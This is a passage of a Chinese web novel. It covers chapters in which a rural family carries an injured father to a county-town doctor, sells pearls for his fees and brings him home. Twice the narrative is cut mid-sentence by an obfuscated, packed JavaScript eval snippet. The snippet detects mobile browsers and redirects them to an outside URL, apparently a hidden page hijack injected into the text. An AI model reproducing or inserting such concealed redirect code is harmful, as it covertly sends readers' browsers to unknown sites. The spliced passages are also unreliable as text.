刘慧兰心中悲泣,也跟着跪在一起,泪眼汪汪祈求宋老太:“奶,你就把钱拿出来,救救爹罢!” 苏氏低垂着头,哀哀跪在一边。 所有人的目光都落在宋老太身上,她觉得今日她要不拿出银钱来治病,这些人能吐唾沫把她淹死。 可是,她手里确实没有银钱,都给大孙子念书了呀。 对了,有,还有一点,是村长给的谢礼,留着给大孙子买书用的。她有心拿出来,可是一想起王氏人财两空的话,顿时就住了手。 她手拐了个弯,从小衣里掏出个帕子,倒出一串钱,不舍的递给刘青青:“家里只有这么多,你们要去城里便去吧!” 赵二贵吃惊道:“婶子,不能吧,二贵光去年打猎的银子,起码有五六两罢!” 另一个汉字也质疑:“听我屋里的说,青丫头救了村长家的小孙子,人白天才包了一两银子的谢礼给您老,难道也没了?” 宋老太被揭了面皮,恼羞成怒:“没有就是没有,都被用了,你们爱要不要!” 她把那一百钱丢在苏氏面前,冷笑:“苏氏,你平日攒私房我睁一只眼闭一只眼,这个时候还不拿出来,难道想留着,等我儿子死了,好拿去讨好新汉子!” 这话说得忒毒,苏氏差点没气死,颤抖着声音尖叫:“娘,山子赚得每一文钱都交给了你,你这是要逼死我们。好,我们也不去城里了,现在就一家子死一块,免得污了你的眼。” 说完,她爬起来对着墙就撞去。 刘蕙兰眼疾手快逮住,娘两个摔作一团,抱头痛哭。 刘青青捡起地上的一百文,对着屋子里便宜爹的队友磕头:“各位叔叔伯伯,再辛苦你们一次,现在送我爹到城里医馆,这些就当给你们赶路的茶水钱。你们放心,不用你们出钱。我自卖自身,卖给人家当丫头,做奴婢,我也要把我爹治好!” 11. 第 11 章 赵二贵连连摆手:“好孩子,我们不缺这点钱,你收着罢!”他招呼身后八个人汉子,想了想道:“我们两组人换着抬,你们谁去照看山子呢,收拾收拾,现在就走!” 他表面上是对着刘老头说,但其实是对着刘青青说,他看出来了,二房的事,刘青青说的算。 刘青青理所应当换了能走路的厚底鞋,急急忙忙收拾了个包袱,刘慧兰自然跟在后面。 大半夜的,两个女孩跟着八个老男人一起赶路,一般的女孩子恐怕是不敢的,即便没有危险,以后的名声也不会太好。 刘青青压根没想到名声这个问题,刘慧兰想到了,但赵二贵是她未婚夫的爹,将来的公公,算是半个爹,把心放在了肚子里。 苏氏也想去,被刘青青留下,一来她眼睛看不清,摔一跤不是闹着玩的,二来幼妹在家,需要人照管,三来,阿娘一个年轻的小媳妇,和那么多外男走一起赶路,不合适。 当然,要是刘老头或者大伯父跟着他们一起去,就能完美的解决了上面的问题,可惜,刘老头脚疼,刘大伯说是扭了腰,刘宝柱吹了风头晕,都找到了完美合理的借口不能去。 刘青青冷嗤,他们这是担心去了要他们付医药费呢。 便宜爹早一刻治疗,早一刻好,她没工夫同他们磨,领着人就向村长家去——大半夜的进城,守城门的兵丁,肯定把他们当奸细,需要村长出具文书。 几人匆匆赶到村长家,村长刘长贵和徐氏穿戴整齐,看到刘青青,挤出慈祥的面孔:“青丫头莫急,你爹不会有事的,我们老两口正要去你家,家里有骡车,坐车快些。” 刘青青受宠若惊,愧不敢当:“怎好如此麻烦!” 徐氏拍拍她的手:“没事,好孩子,我们岁数轻,熬一宿没关系,恰好宝儿他舅回城,他在县衙当差,和守门的人认识,让他赶车,定把你爹妥妥当当送到城里。” 刘青青深深对着徐氏拜了下去:“谢谢您,徐奶奶!”她这一拜,真心实意。 徐氏擦了擦眼角:“好孩子,是我们要多谢你,幸好有你,不然,我们的宝儿。” 刘青青懊恼:“宝儿好了么,本来是要来看他的,偏偏家里出了事。” 徐氏点点头:“那会子吐了水后,喝了压惊药,要人抱着才睡,没什么大碍了。行啦,我们快些走吧。” 因有了骡车,不用那么多人,赵二贵跟着去搭把手,其他的几个汉子一一告辞回家。刘青青一个个记住了他们:村头的铁柱叔,桩子叔,村尾的王勇伯伯,三财叔…… 众人对她的道谢不以为意,今日帮忙,完全是出于平日和刘有山一起打猎的情谊,谁能预料到,今日举手之劳,让自家以后的日子越过越红火呢。 村长家养的是匹健壮的成年青骡,喂得油光水滑,套了青油布做了个简易的车厢,徐氏领着刘慧兰刘青青,在车厢里守在便宜爹面前,外面车架上,村长,赵二贵,宝儿舅舅换着赶车。 说是换,其实都是宝儿舅舅赶车,听村长喊他阿垚,刘青青也跟着喊垚叔。 行到半路,刘慧兰从包袱里掏出水囊,捡了碗倒了些水,红着脸:“徐奶奶,家里只有些热水,凉到现在恰好,您别嫌弃,润润口!” 徐氏惊呼:“好周全的闺女!”接过碗大大喝了一口,尝到淡淡的咸味,心里对她更多了一层喜欢。 儿媳妇嫁来五年才得了个宝儿,因为她的疏忽,让孩子掉水里,要不是青丫头挺身而出,自己也没脸面对儿子和儿媳,夜里听说了刘家出了事,她当即拍板套车要老头子去帮忙,还了这个救命的情分,也让村民们信服自己男人这个新村长,不比老村长当的差。 谁喜欢大半夜的到处奔波,还不是没办法,原本有些勉强的心,喝了这碗热水,变得真心实意起来。 刘老头宋老太是个没福的,把这么好的两个孙女当成草! 大的做事周全体贴,小的更难得,一股子敢闯敢拼的魄力,都是旺夫的媳妇。可惜,大的定了婚,小的倒可以先看着。 徐氏满意的看着姐妹两忙碌,肚子里扒拉着娘家亲戚,一一找着合适的人选。 刘慧兰换了个碗,倒了些给车架上的三人,轮到赵垚的时候,她恭敬的喊垚叔,哪知对方络腮胡子里锐利的眼,淡淡瞥他一下,闷声闷气道:“不用!” 她无措的缩了回来,又不晓得做错了哪里,刘青青耸耸肩,表示不知道,估计人真的不渴吧,接过碗,小勺小勺的喂便宜爹喝。 不晓得是不是她的错觉,刘慧兰觉得,垚叔抽驴的鞭子,好似更重了些? 幸好今夜月亮明亮,照得地上亮堂堂的,他们一路顺利赶到常平县城,村长和赵垚,一人举着文书,一人和守门的兵士对话,很是费了一番功夫,门吏才开了小门让他们进城。 刘青青暗暗咋舌,要是她们自己来,估计门都进不去。 赵垚好似对常平县城很熟,直接驾车领着他们左拐右转,停在一座小院门口,碗口大的拳头下雨般砸在门板上,咚咚咚开始敲门。 刘青青翻了个白眼,这么个敲法,人家还当是土匪打劫呢,谁会开门! 出乎意料的是,门竟然开了,露出一张瞌睡不耐烦的老脸:“臭小子,大半夜的,你又怎么啦!” 赵垚没回答,扯着他走到驴车前,哗啦掀开车帘:“诺,能治不?” 老头不经意扫过车厢里面若金纸的男人,瞌睡一下子全跑光,望闻切先来一遍,眼里散发出耗子遇见粮食的光:“啧,大动脉破了都没死,厉害啊,得试试!” 示意赵垚把人抬进院子。 两人一问一答,完全当旁边的徐氏三人是空气。 刘慧兰焦急,这院子看着就是平常人家,不像是医馆,老头胡子拉扎,莫非老头和她们村子里的胡老头差不多,是个县城里的赤脚大夫。 那他们费尽心力巴巴来县城作甚?他们是来找县城里的名医的。 垚叔这人,又高又壮,脾气暴躁,刘慧兰有些惧他,但对阿爹病情的担心超过了害怕,她颤抖着声音,扯住赵垚的袖子提醒:“垚、垚叔,阿爹被黑熊所伤,可能要缝合!” 赵垚淡淡瞥他一眼,刘慧兰吓得缩了手, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15850667|175846||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 讪讪的不敢说话。 赵垚一人抬着担架的后面,村长和赵二贵抬着担架的前面,平稳的把刘有山搬进了屋子里。 徐氏拉着刘慧兰下了车,拍拍她的手,轻声安慰:“好孩子,姜老大夫是吃公饭的,很厉害,去年阿垚打山贼,从马上摔下来,断了两条肋骨,眼看不行了,阿宝外婆家就这么一个舅舅,你翠娥婶婶哭得像泪人似的。幸好寻到了姜大夫,现在又能到处走。 外面的想请他看,他还不搭理呢!” 几人进了门,发现了这里的不同。院子里是的花盆里种的不是花草蔬菜,而是各种药植。廊下的簸箕里晒的也是说不上名字的草药。 这院子应该是姜老头一人独居,上面两间正房,一间不像平常人家那样摆着八仙桌,而是一个齐腰高的案台。 周围刀片、钳子,剪刀,锯子各种刀具在烛光下散发着幽冷的光,角落里还站着一个雪白的骷髅人。 另一间满满当当的全是药柜子,酒缸子,靠窗子的书桌上零散的放着许多书。刘青青打眼看过,心里有了谱,这么一个外科内科兼修的老中医,便宜爹真是好运,算是捡回了半条命。 对比刘青青的淡定,首次见到这个场景的赵二贵和刘慧兰有些惊恐,特别是刘慧兰,吓得牙齿几乎打架。 她下意识站在刘青青的前面,用单薄的身子护住二妹,紧紧捏着拳头,打算一有不对,先护住二妹,再救阿爹。 赵垚眼尖的看到她的拳头,不屑的撇撇嘴,就这小拳头,打在身上也是挠痒痒。不耐烦挥手让他们出去。 徐氏招呼他们出门,走在最后面的是刘慧兰,小姑娘即便紧张得同脚同手走路,依旧把背脊挺得直直的,赵垚嘴角翘了一下,咳嗽一声柔声吩咐:“你们去耳房烧些沸水,一会要用!” 透过门缝可以看见,赵垚用剪刀剪开刘有山的衣裳,姜老大夫穿着一件白色的罩衣,端了个碗,用烈酒清洗伤口。 刘青青放了心,进了耳房,先绕了一圈。 门口一边是双口锅灶,刘慧兰已经点燃了火。靠墙摆了一张八仙桌,上面摆着一大一小两个葫芦,除了靠墙的板凳是光亮的,其他地方全都落了一层灰。几人累了一夜,顾不得这些,疲惫不堪的围坐在桌子边说着闲话。 这当头,勤快的蕙兰已经洗完锅,烧着水。另一口锅闲着也是闲着,刘青青咬咬牙从灶旁边的米缸里,挖了一碗米给蕙兰,大家伙累了一夜,借花献佛煮些米粥喝一喝也是好的。 等天亮了,去街上买些回来补上。 对上蕙兰不赞同的目光,她解释:“没事,阿爹伤得重,劳大夫看病,让他热乎乎吃顿饱的,不是应该的么?” 是这么个道理,好像有哪里不对? 不等她反对,刘青青从廊下的簸箕里,顺了一把红枣、莲子、百合,丢在盆里搓洗干净泡发后洒在锅里。 刘慧兰眉头拧得能夹死苍蝇,二妹哪里都好,就是太能翻,到哪里都是眼里只有吃的,也不管这是不是家里的,她正要教训,刘青青悄摸摸塞了个帕子给她:“这个做医药费,可以么?” 12. 第 12 章 “水!”上房传来的叫声打断了刘慧兰的思绪,她捏了捏帕子,是昨日取的珍珠,没底的心稍微镇定了一些。 她决定了,阿爹不能出事,砸锅卖铁也要治,回去她便退婚,自卖自身去大户人家当丫头,做苦力,一定要把银钱赚回来,二妹才9岁,哪里舍得她去给人当奴婢。 刘慧兰端了水盆到门口,后面一溜跟着刘青青等人,房屋门嘎吱一声打开,姜老大夫满手是血的走出来,丢了个赞赏的眼神给刘慧兰,小姑娘有眼色。 皂角洗干净手,脱下抹了血渍的罩衣,屯成一团丢在盆里,他丢下眼巴巴的众人,顺着香味走到耳房,添了一碗熬好的稀粥,大大咽下一口下肚,舒服的打了个嗝:“巴适!” 刘青青有眼色的凑上去:“姜爷爷,我爹怎么样?” 姜老大夫舀了个红枣在嘴巴里,嗯,清甜软绵,打量穿戴土气的刘青青,不答反问:“红枣莲子百合粥,小丫头是不是学过医?” 对上老者锐利的目光,刘青青装傻反问:“学医?不是因为它们都是甜的么?” 信你个鬼哦!看打扮是食不果腹的人家,还晓得百合呢! 两人老眼瞪小眼,最后还是姜老大夫拜下阵来,实在是对方的眼神太过坦荡荡。说人话就是:他第一次遇到比他还能装的人,甘愿认输。 他又含了一口粥,带着淡淡甜香的稀粥,顺着食道流进他的胃,暖洋洋的,让他恢复了些许精神,心情很好道:“你爹命是保住了!” 刘青青戚眉,所以有后遗症么:“然后呢?” 姜老大夫老神在在喝自己的稀粥:“成了残废,以后不能下地行走!” 若大户人家还好,养着就是。 他治疗的过程中,发现患者手指上的老茧,变形的脚掌,是常年劳作导致的,患者估计是家里的顶梁柱,这样的家庭遇到这样的事,那是灭顶之灾。所以,大多数时候,人啊,患的都是穷病! 他干这一行数十年,见得太多,已经预料到这个家庭以后的走向:患者长久卧床失去尊严自绝,家人妻离子散。 想到面前聪慧的小丫头以后将在看不见的角落为奴为婢,旁边勤快的小姑娘也不晓得流落到何处,他顿时觉得嘴里的红枣粥不香了,对她们投去怜悯的一瞥。 仅仅是怜悯娥一瞥而已,他是个人,不是神,管不了天下的所有可怜事。 他已经尽自己的本分,对患者做了最好的治疗,哦,对了,诊金还赊着呢,他多高尚啊! 在心里对自己的高尚情操默默赞扬了一回,他慢慢复盘。 大腿处的伤痕,应该是黑熊所伤,摸了骨没问题,而后清理坏死的组织,才发现腿筋断裂,这他实在无力回天。 姜老大夫把做过的治疗如实说了一遍,想象中的嚎啕大哭没有发生。 刘青青拍了拍胸口,捡了金元宝似的:“只是不能走路啊,小问题!” 刘慧兰确实哭了,但她是喜极而泣,拉着刘青青的手:“阿爹好好的!” 姜老大夫愣愣的抬起头,看着眼前的寒酸姐妹,难道是县城的口音,她们没听懂!还是他们没见过有腿疾的人! 他放慢语速,重新解释了一遍! 刘青青莫名其妙的看着他:“我知道啊,我爹伤了腿,以后只能躺着,不对,不能用腿走路!我们可以做对拐杖,或者轮椅给他,他又可以到处逛咯!” 姜老大夫:“……” 这是不能走路的问题么,这是不能再劳作的问题! 算了,两个不知人间疾苦的小丫头,他费那个劲和她们啰嗦作甚。 他转而把目光投向后面的大人,年纪大些的刘长贵夫妻是赵垚姐姐的公婆,他曾见过。 旁边年轻些的黑脸汉子看着眼生,观他们面上愁苦的表情,他暗暗叹了口气。 他就说嘛,不是他的表达有问题,是两个小姑娘脑子有问题。 脑子有问题的刘青青不动声色碰了碰阿姊,示意她拿出珍珠来,难道还等着人家开口要诊金么,那也忒不识趣。 刘慧兰暗想珍珠不值多少,能把阿爹从鬼门关里拉回来,诊金必定要大价钱,打着自卖自身的主意,因赵二贵在这里,不好提,便装哑不吭声。 姜老大夫活了这么多年,多精明的人啊,看一眼姐妹两的眉眼官司,便猜测两人有话不好直说,也不勉强,反正患者还躺着治疗榻上,跑不了。 即便跑了,让赵垚赔就是,左右是他弄来的人。 他辛辛苦苦接私活是为什么啊,还不是为了那点诊金,买上几两好酒,几盘下酒菜。 不然光靠衙门发的那点薪水,他只能天天在家吃土。 一副视金钱如粪土的模样挥挥手道:“行啦,累了大半夜,你们也喝口粥垫一垫,随便靠一靠歇歇。患者估计会发高热,还要换药,不能随意搬动,这半个月要留在这里的,你们自便罢!” 说完,打了个哈欠,钻到另一间耳房中,关了门,不一会就传来他震天的呼噜。 奔波了一宿,大家伙确实疲倦,特备是赵二贵,从山里回来,没闭过眼,紧跟着来城里,知道好友刘有山性命无碍那一瞬间,几乎困得张不开眼睛,靠在桌上就睡着了。 其他人也困,但没那么夸张,默契各自寻了个角落静悄悄养神。 正房内,赵垚守在刘有山面前,每隔一炷香,探手摸一摸他的额头,刘慧兰心里感激,端了热粥,躬声请他歇一歇。 赵垚冷冰冰道:“无碍,这是姜叔吩咐的!” 见她还没有出去,复又问:“可还有何事?”语气里满是不耐烦。 刘慧兰感觉手又抖起来。 深吸一口气:“我想请赵叔帮个忙!” 迎着他微微挑起的眉,刘慧兰一鼓作气说完:“我想卖了自个,不晓得去哪里卖!” 说完,刘慧兰恨不得把舌头给咬了,什么叫不晓得去哪里卖,听起来好有歧义!她是个正经的姑娘,说的是卖了当丫头那种卖。 不晓得赵叔有没有听懂! 赵垚当然听懂了,问题是,刘青 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赵垚觑了刘青青一眼,声线恢复平淡:“收好,天亮我带你去城里看看!” 又变成了那个高冷的衙役。 得了赵垚的话,刘慧兰惊喜的发现,二妹寻来的珍珠也许很值钱,她们一家人不用分开了,焦躁的心得到了安宁。 她是个闲不住的性子,就着微亮的曦光,到处洗洗刷刷。 天光大亮,刘有山开始发热,赵垚依照姜老大夫的法子,用白酒擦拭脖颈降烧,这事他做下来有些笨拙,招手喊来刘慧兰,教她处理,姑娘照顾自己的亲爹,那是理所应当。 他给了刘青青一个眼色,刘青青眼珠子一转,对着徐氏等人解释道:“徐奶奶,我们喝了姜爷爷的粥,还请赵叔,带着我去买些米来还他!” 徐氏等人不疑由它,让赵垚看好她,不要把人弄丢。 刘青青跟在赵垚后面,屁颠屁颠逛街去。 两人先来到当铺,当铺的掌柜看到赵垚,称呼一声赵爷,看了珍珠的成色,开出了一两银的死当。 解释说,这是看着赵爷的面上,给出的最高价。 赵垚不置可否,喊一声小青子,走! 刘青青立马狗腿的打好门帘,两人大摇大摆离开。 结果,人当铺的人,根本没有喊他们回去,这下子赵垚下不了台折回去,整个县城只有这么一家当铺,他讪讪理了理络腮胡:“要不,你把东西给我,我让人带去府城问问?” 刘青青翻了个白眼,带到府城,黄花菜都凉了! 阿爹还等着钱买药呢。 这次,刘青青在赵垚耳边嘀咕了几句,赵垚一脸不可思议的进了银楼。 不一会,赵垚便拿了十两银回来,是当铺的十倍,是他十个月的月钱。 他有些怀疑人生:“为什么说了这么几句话,他们就高价买了珍珠?” 13. 第 13 章 刘青青没出息的紧紧握住十两银,咬了一口,欢喜的盯着上面两个牙印,小心藏在贴身的口袋里。走了几步,没发现后面的赵垚,扭头见他还在那发愣。她眼珠一转,打量身穿利落短打,上下没有一点装饰的赵垚,笑嘻嘻道:“垚叔,你帮我一个忙,我就告诉你!” 赵垚百思不得其解,毫不犹豫点点头:“你说! 清明时节絮纷纷,路上行人妆如春,借问珍珠何家有?娘子遥指梦幻粉!”我还记得呢。 刘青青解释:“垚叔,清明节快到了!” 赵垚:“是啊,我知道啊!”想到这里,他便牙疼。阿姊出嫁后,家里只有老娘一人,平日间省吃俭用,但清明上坟,必重金购置许多黄钱纸人去烧,每次都要他借一辆驴车拉着去,他哭坟哭得真心实意,实在是肉疼的——烧的是他一个月月银。 刘青青无奈叹了口气,这就是社畜单身狗的悲哀:“垚叔,清明节也叫踏青节,有钱人家的娘子郎君光明正大的踏春游玩,是不是要打扮一番?” 光明正大的互相勾搭,那必须打扮得花孔雀一样呐!都是视觉动物,谁不是先看上你有趣的外表,才会深入了解你无趣的灵魂。 “打扮是不是要首饰?我们的珍珠是少见的粉色,比一般的白珍珠来的更稀少!” 赵垚还是不明白,提出了灵魂一问:“白色珍珠粉色珍珠,戴着脑壳上有什么差别呢!” 刘青青翻了个白眼,差别大了,少女梦幻粉,有几个小姑娘能拒绝!人家银楼专门做这门生意的,当然晓得其中的门道。直男癌是不会懂这些的。 当铺那是什么地方,是吃人不吐骨头的地方,压价压得太厉害,其实他们没占银楼的便宜。珍珠常见,但一模一样的粉色大珍珠少见,请个能工巧匠镶嵌一番,银楼再运作一下,恰缝全民相亲节,卖价翻个五倍没问题。有利可图,还能为银楼做一番宣传,银楼不吃下才是傻子。 至于刘青青为何懂这些,末世的时候,危险无处不在,死亡率居高不下。基地上层绞尽脑汁提高生育率,出的任务一定要男女搭配一比一,还丧心病狂日日举办单身男女晚会,就差把男女配好对押入洞房。免费提供礼服首饰——普通的,漂亮的、少见的首饰礼服要花丧尸晶核买。 她作为大龄单身扣门女青年,被报名了好多次,每次穿着普通的礼服,缩在角落里大吃特吃免费的晶核糕点,看里头那些女的争奇斗艳看到的。 是的,要不是宴会提供免费晶核糕点,你以为她会来? 往事在脑海中一晃而过,光色陆离恍如梦境。现在的日子贫穷但安宁,刘青青很满足。 赵垚表示有钱人的世界,他不懂,反正他不会花费一年的月钱,去买不能吃只能看没什么用的珍珠首饰。 他丢过这茬,追上刘青青:“你要我帮你什么?”经过这次卖珍珠,他把刘青青当成他的同辈相处,而不是一个小屁孩。 有些时候得承认人与人的差距,自己九岁的时候,还拿着竹棍在村子里当神剑勇闯天涯呢,人家九岁的时候就赚了十两银。 刘青青坦荡荡道:“我们家还没分家,珍珠是我捞阿宝时,顺便从河里捞起来的,若让阿奶晓得卖了银,又是一场闹腾。你能不能假装,这些银子,是你借给我们的!” 赵垚表示受到了一万点暴击,听听,顺便捞起来的! 没好气道:“你不怕我假戏真做?” 刘青青扶额,文盲垚叔,不识字就不要乱用,假戏真做不是这么用的。 “你会么?”你有借条么! 迎着她讥讽的目光,赵垚讪讪的:“不会!”自己好歹是个县城的捕快,吃公家饭的,怎么会知法犯法呢。 不过,他有认真发散,若是一百两,一千两,一万两,他会么? 两人约好后,刘青青留了五两银的诊金,二两银的药钱,开始了大买特卖模式。 最下等的碎米来一袋,养人的小米来一袋,老老的小母鸡杀一只,猪肝来一副,鸡蛋红糖一篮子,猪板油,盐巴白糖等,还有被子各种零零碎碎,最后还买了一张非常结实的网。 这时银子的购买力惊人,跑了好几条街凑齐,还剩一辆银呢。 米铺借了他们一辆车,两人推着堆成小山的车回了姜家小院。 迎接他们的是众人惊诧的眼神。 不是说好买一点米么,这是把集市都搬了回来! 赵二贵急得跳脚,青青丫头莫不是把自己真的卖了!山子得吃了他。 刘青青安慰:“叔莫急,是垚叔借钱给我的。” 赵垚配合点点头:“青青救了宝儿,是我们的再造恩人,借点钱不算什么,等熬过这关,慢慢还,不要利息。” 徐氏两口子眼神变了变,赵家看着是平常的人家,当初说亲,是看上赵翠娥能干,屋里屋外操持得一把好手,想不到赵垚为了给赵翠娥撑脸,能一下子拿出十两银子来,看来赵家比想象中厚实。 两人回村后,对儿媳妇赵翠娥更客气了些,赵垚不过顺嘴的事,没料到间接帮了阿姊一把,这也是没想到的。 刘青青找到姜老大夫付了诊金和药钱。 姜老大夫呵呵一笑,纳入怀中,眼见的更和蔼可亲了,慢悠悠下医嘱:“你爹除了伤到腿,内府也震到,半年内必须好好养着,不要动气。 在我这里躺个半个月,不发热就可以回去啦!” 刘青青给钱给的干脆,姜老大夫也不含糊:行啦,快去做早食,饿得很,我那些药,用的上直管拿去做菜。 & 早食做好,所有人围坐在一起,盯着桌上的菜面色各异。 菜不多,五个——都是荤菜:清炖鸡、韭菜炒猪肝、煎鸡蛋、酸菜炒瘦肉,盐巴拌油渣,还蒸了一锅碎米饭——不定量,大家伙放开来吃! 赵二贵很心疼,不赞同的看着刘慧兰:“都是自己人,弄这么多菜!” 他很纠结,一方面,这些菜色香味俱全,将来儿子是个有福的,可是,家底顶不住啊,你看酸菜肉里那个油哦,汪着一层,叫他心儿直打颤,而且全是些瘦肉,有什么嚼头,哎,是个不会过日子。 夹了一筷子,嗯,香,真香!瘦肉竟然能这么滑嫩,这么香! 先吃掉再说,大不了以后,叫她一顿只做一个菜!油嘛,拌饭非常棒,一丝不剩,吃到肚子里不叫浪费。 刘长贵夫妻家里日子相对宽裕,也只是日日吃上干饭配菜,也没这么个大鱼大肉法,徐氏不赞同的看着刘慧兰,悉心指导:“这是猪板油炸的油渣子罢,你看还不焦,里头还有一层油呢,炸吧炸吧还能炸出些来,炒菜放一些,就是一道顶饱的菜!” 刘长贵夹了一块黄灿灿的油渣,上面 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15850669|175846||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 几颗晶莹的盐粒,放在嘴里,又酥又脆,带着猪肉淡淡的香,盐巴的咸,合适的烫,差点把舌头吞掉,要是有一壶酒就好了,快活似神仙。他一拍桌子:“老太婆,以后家里的油渣子也要像这样,香!” 正在教刘慧兰做菜的徐氏:“……” 老头子这样,很拆台哩!她棱起眼就要骂人。 刘青青解围:“徐奶奶,本来要好好感谢你们,可家里实在紧张,才买了一块肥肉,一来熬油,二来特意作一道菜,所以阿姐故意炸得没那么焦脆。” 这话贴心,徐氏嗯了一声,也夹起来尝一尝,露出回味的神色。 赵垚口味偏重,看了看桌上的菜色,最后筷子落在黑粉色的猪肝上。 只尝了一口,他便停不下筷子来,刘慧兰放了许多姜丝,配合着一起炒,遮盖了猪肝的腥味,又多出一种爽辣来,让猪肝又嫩又鲜又劲,极其下饭。这当头,他已经盛了第三碗。 姜老头每一样菜都尝了一口,满意的抚着白胡子:猪肝爽辣、炒肉酸嫩、油渣酥脆、鸡蛋香嫩,都极其符合他的胃口。 他颠颠转到药房里,淘出一个坛子抱来,挤眉弄眼卖弄:“这是我弄的枸杞酒,很补的,来来来,今日菜色好,配着吃才不亏……” 桌上的男人一人分了一碗,赵垚也伸过碗去接,姜老大夫:“去去去,这酒你不能喝!” 赵垚:“……” 人已经十六了,是个大男人,凭什么不能喝。 徐氏拉住他:“你今日还要上值,喝酒找上峰骂呢!” 赵垚:“……” 三个老男人贱兮兮的笑,这话他不信。不过,上值不能喝酒是真的,那他便多干点菜咯,这么可口的菜,让他们吃不着。 吃得见了底,众人才一人舀了一碗鸡汤,一入口,姜老大夫惊叹:“好哇,你个臭丫头,又把我从南疆弄来的三七根拿来做菜!” 骂完,咕嘟咕嘟喝完,又盛了一碗。 众人看见这样,还有什么不明白的,一人抢了一碗,汤碗便见了底。 赵二贵:“我还道鸡里面这些细根是调料,原来是三七根啊!” 别说,乱成一团乱麻的三七根与鸡一起炖,油腻的鸡汤变得清爽,入口是淡淡的苦香,而后便是一种时有时无的甘甜。 大家伙吃得油光水滑,对刘慧兰给予高度的评价,勤快能干从他们嘴里不住的蹦出来。 厨艺被夸得天上仅有的刘慧兰小脸红彤彤的,她明明就是和家里一样的做法,平时也没听阿爷他们这么肯定啊。 仔细一想,唯一的区别就是,配菜是二妹组合的,还不停的在旁边喊放油放糖,她一边炒菜一边心惶惶。得出结论:二妹果真天生就擅长吃,随便把几样食材放在一起,就能激发出彼此最美的味道。 天生擅吃的刘青青:“……” 不是我擅长吃,这是无数菜谱堆起来的经验。 可喜的是,饭后,病号刘有山终于醒过来,在刘青青指导下,刘慧兰煮了三七鸡汤小米粥,刘有山喝下后,可见的精神了许多。 徐氏夫妻和赵二贵放下心,告辞回村,留下刘慧兰姐妹在此照顾。 刘青青非常感激两家人,把剩下的半盆油渣子分成三份,一家一份,还有一份和半袋碎米请徐氏带回去给家里的苏氏和幼妹,顺便捎句口信,叫她们安心。 14. 第 14 章 半月后,便宜爹终于“出院”了,辰时,刘青青雇佣的驴车等在姜家小院门口,姜老大夫摸着肚子上多出来的肉,拉着他们依依不舍,眼含泪水:这半月来,刘慧兰随手把一些食材放在一起,就成了无敌的美味,他可耻的吃胖了一圈。 一想起以后又要恢复满城寻吃的日子,花费贵还不一定合口味,他这心就哇凉哇凉的。 他瞥了一眼帮忙帮东西的人影,心底冷笑,这厮每日来蹭吃蹭喝,同样是肉,赵垚的全长在手臂肱二头肌上,这就是人与人的差距么! 听说刘家今日回村,赵垚请了一日假,特来相送,还带了两个同僚,三人板着脸,同样的身材魁梧,全褐短打,一副不好说话的样子。 在姜老大夫的靠门远眺,有空常回来的不舍中,驴车晃晃悠悠出发,经过了一天的跋涉,终于在申时(下午四点)到达了清水沟村。 赵垚与同僚帮忙把刘有山抬进了耳房,板着脸搬下刘家的行李,兀自去到村长阿姐家,阿娘记挂外孙子,叫他带了些玩意来。 高大健壮的丈夫,坐着依靠枕头这个简单的动作,都要靠几个后生帮忙,苏氏悲从中来,哇一声趴在他身上嚎啕大哭:“当家的!” 她胸中很矛盾,一来欣慰丈夫性命无虞,不用再冒着生命危险去山里打猎,让她牵肠挂肚,二来忧心一家将来的生计,惶恐无助,一切的复杂情绪糅杂在一起,像有千言万语,不知道该从何说起,只能化作简单的三个字! 因还不到饭点,刘老头带着大房夫妻和刘宝栋下了地,宋老太手捏着一只小竹条,监督刘巧儿打扫院子,就连只会玩耍的刘宝强都被宋老太赶着去喂鸡。 不动不行,阿奶这几日脾气大得很,一言不合就上竹棍抽,刘宝强可怜巴巴的摸了摸屁股,他不想喂鸡,想到外面玩,使出往日撒泼打滚的绝技,宋老太不蒸鸡蛋羹哄他不说,还狠狠抽了他一顿,现在还疼呢。 他嘴里嘟囔着,都怨二叔不小心受伤,怨刘慧兰她们矫情去城里看病,怨她们不干活,阿奶心里不舒爽,才抓他们来干活。 宋老太瞅着刘巧儿扫个地还要带着面纱、顶着帽子,手臂挥两下就要揉一揉,太阳穴一抽一抽的疼,大孙女算是被王氏给养废了,这么个惺惺作态,哪里像是农家的姑娘,不知道的,还以为是城里的千金呢。 戏文里说的啥,小姐的身子,丫鬟的命!她也不看看,她老子娘是地里刨食的,就这样,哪家敢来说亲哦! 她正头疼这刘巧儿的婚事,门外传来一阵动静,她丢了竹棍跑出去。 当她看到牵挂的二儿子,行动靠人抬,心不住的往下沉,颤抖着声音询问:“儿呀,这是咋的拉?啊!” 她壮实有力孝顺的二儿子,怎么就成了个残废呢!就这样,以后怎么上山打猎啊!大孙子的书,还怎么读啊! 刘有山看到了他生命中最重要的两个女人,咧开嘴笑了笑:“娘,秀娘,你们哭啥,我好着呢!” 为了验证他的话,蒲扇大的手掌,哐哐哐对着自己胸口一顿猛拍,不妨胸腔内一阵阵痛,让他当即气短的咳嗽起来,趴在枕头上直不起身! 等着他证明他身体很好的宋老太和苏氏:“……” 哭得更大声了! 刘青青缩在后面看了场戏,呵呵! 这些日子的相处,她发现了便宜爹心中,阿娘对他最好,老婆才是真爱,三个女儿全是意外! 